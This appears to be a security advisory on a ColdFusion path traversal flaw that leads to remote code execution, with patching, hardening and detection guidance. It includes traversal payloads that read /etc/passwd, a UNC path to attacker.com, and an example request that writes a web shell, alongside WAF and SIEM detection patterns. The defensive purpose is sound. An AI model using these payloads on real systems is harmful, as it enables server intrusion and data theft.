CVE-2026-48282: Adobe ColdFusion Critical Path Traversal to RCE (CVSS 10.0)

Executive Summary

CVE-2026-48282 is a CVSS 10.0 Critical path traversal vulnerability (CWE-22) in Adobe ColdFusion that can lead to arbitrary code execution without authentication or user interaction. Disclosed in Adobe's APSB26-68 bulletin on June 30, 2026, it is the fourth of four critical CVEs affecting ColdFusion — all carrying the maximum CVSS score of 10.0.

Path traversal vulnerabilities that chain to RCE represent one of the most dangerous classes of web application flaws, allowing attackers to escape intended directory boundaries and ultimately execute arbitrary code on the server.

Vulnerability Overview

Affected Versions

ColdFusion 2021 is end-of-life. Migrate to a supported version and apply APSB26-68.

Technical Analysis

How Path Traversal Leads to RCE

CWE-22 (Path Traversal) occurs when attacker-controlled input is used to construct a file path without sufficient sanitization. The classic exploit uses sequences like ../ to navigate outside the intended directory.

In ColdFusion, a path traversal flaw that achieves RCE can work in several ways:

Scenario A — File Read to Credential Theft to RCE:

1. Attacker uses ../../../ to read sensitive files outside web root
2. Reads ColdFusion datasource passwords, admin credentials, or private keys
3. Uses stolen credentials to access ColdFusion Administrator or backend system
4. Deploys code through administrative interface

Scenario B — File Write via Traversal:

1. Application has a file write operation (upload, save, export)
2. Attacker crafts filename with ../../../webroot/shell.cfm
3. ColdFusion writes attacker content to web-accessible path
4. Attacker requests shell.cfm, achieving immediate RCE

Scenario C — Include Path Manipulation:

1. ColdFusion template uses dynamic file inclusion: <cfinclude template="#url.page#">
2. Attacker injects: page=../../../../etc/passwd (read) or malicious .cfm path
3. Server processes the traversed file as CFML, executing attacker content

Adobe's advisory confirms the traversal "could lead to arbitrary code execution in the context of the current user" — indicating one of these chaining patterns is present.

Path Traversal Payload Examples

Common traversal sequences that exploit CWE-22:

# Basic traversal
../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts

# URL-encoded variants
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e%252e%252f (double-encoded)

# Null byte injection (legacy bypass)
../../../etc/passwd%00.cfm

# Windows UNC path (if applicable)
\\attacker.com\share\evil.cfm

Exploitation Scenario

Full Exploitation Chain (Scenario B — Most Impactful):
 
1. Attacker discovers internet-facing ColdFusion 2025 <= Update 9
2. Identifies ColdFusion endpoint accepting filename or path parameter
3. Sends request: POST /app/save?filename=../../CFIDE/shell.cfm
   with body: malicious CFML payload
4. ColdFusion writes file to /CFIDE/shell.cfm (web-accessible)
5. Attacker GETs /CFIDE/shell.cfm — ColdFusion executes it as CFML
6. Shell executes: reverse TCP connection to attacker C2
7. Attacker has full RCE; deploys persistence, moves laterally

SSVC Assessment

CISA's SSVC (Stakeholder-Specific Vulnerability Categorization) data added to this CVE indicates:

• Automatable: Yes — exploitation can be scripted without human interaction
• Technical Impact: Total — full system compromise achievable
• Action recommended: Emergency patch deployment

Impact

Remediation

Immediate: Apply APSB26-68

# ColdFusion 2023 — Update 21+
# Download from Adobe: https://helpx.adobe.com/coldfusion/using/release-notes.html
# Verify version in CF Administrator: Server Information page
 
# ColdFusion 2025 — Update 10+
# Apply through CF Administrator > Server Updates > Available Updates

Verification After Patching

# Confirm ColdFusion build number reflects patched version
# ColdFusion 2023.21.x.x or higher
# ColdFusion 2025.10.x.x or higher
 
# Test traversal is blocked (should return 400/403, NOT file contents)
curl -v "https://your-cf-server/app/endpoint?file=../../../etc/passwd"

Path Traversal Hardening (Defense-in-Depth)

Even after patching, implement these controls:

1. Validate all file path inputs — use allowlists, not blocklists
2. Canonicalize paths before comparison with allowed directories
3. Run ColdFusion as a least-privilege service account — limit file system reach
4. Apply ColdFusion Sandbox Security — restrict file access via CF Administrator
5. Chroot or containerize ColdFusion — limit OS-level filesystem access

<!--- Secure file path validation in CFML --->
<cfset safePath = ExpandPath("/app/allowed/directory/") />
<cfset requestedPath = ExpandPath(FORM.filename) />
 
<!--- Ensure requested path starts with the safe base path --->
<cfif NOT requestedPath.startsWith(safePath)>
  <cfthrow type="SecurityException" message="Path traversal attempt blocked." />
</cfif>

Detection

Signature-Based Detection

# Web application firewall rule patterns:
../
..\
%2e%2e%2f
%2e%2e/
..%2f
%252e%252e

# Combine with ColdFusion-specific targets:
*.cfm
*CFIDE*
*cfusion*

Log Analysis

# Detect traversal attempts in web server logs
grep -E "(\.\./|%2e%2e|%252e)" /var/log/nginx/access.log | grep -i "\.cfm\|cfide"
 
# Look for unusual file access patterns in CF logs
grep -i "FileNotFoundException\|NoSuchFileException\|path" \
  /opt/coldfusion/cfusion/logs/application.log

SIEM Detection Rule

Rule: ColdFusion Path Traversal Attempt
Condition:
  http.request.uri CONTAINS ("../", "..\", "%2e%2e")
  AND http.request.uri CONTAINS (".cfm", "CFIDE", "cfusion")
  AND http.response.status NOT IN (400, 403, 404)
Severity: HIGH
Action: Alert + Block Source IP

APSB26-68: ColdFusion Critical Vulnerability Summary

Adobe's June 30, 2026 advisory patches four CVSS 10.0 vulnerabilities — each exploitable by unauthenticated remote attackers:

Together, these vulnerabilities cover the complete spectrum of unauthenticated server compromise: file upload (CVE-2026-48276), input injection (CVE-2026-48277, -48281), and filesystem escape (CVE-2026-48282). An attacker with multiple exploits available has significant flexibility in achieving code execution.

Key Takeaways

1. Path traversal + RCE is one of the most dangerous vulnerability chains — and it requires zero authentication
2. CVSS 10.0 with automatable exploitation means mass scanning campaigns should be expected
3. CWE-22 in ColdFusion is particularly dangerous given ColdFusion's typical access to databases, filesystems, and internal services
4. One update patches all four CVEs — apply APSB26-68 immediately
5. Assume breach for any internet-exposed unpatched ColdFusion instance as of June 30, 2026

References

• Adobe Security Bulletin APSB26-68
• NVD — CVE-2026-48282
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• OWASP Path Traversal
• CISA KEV Catalog
• Adobe ColdFusion Security Resources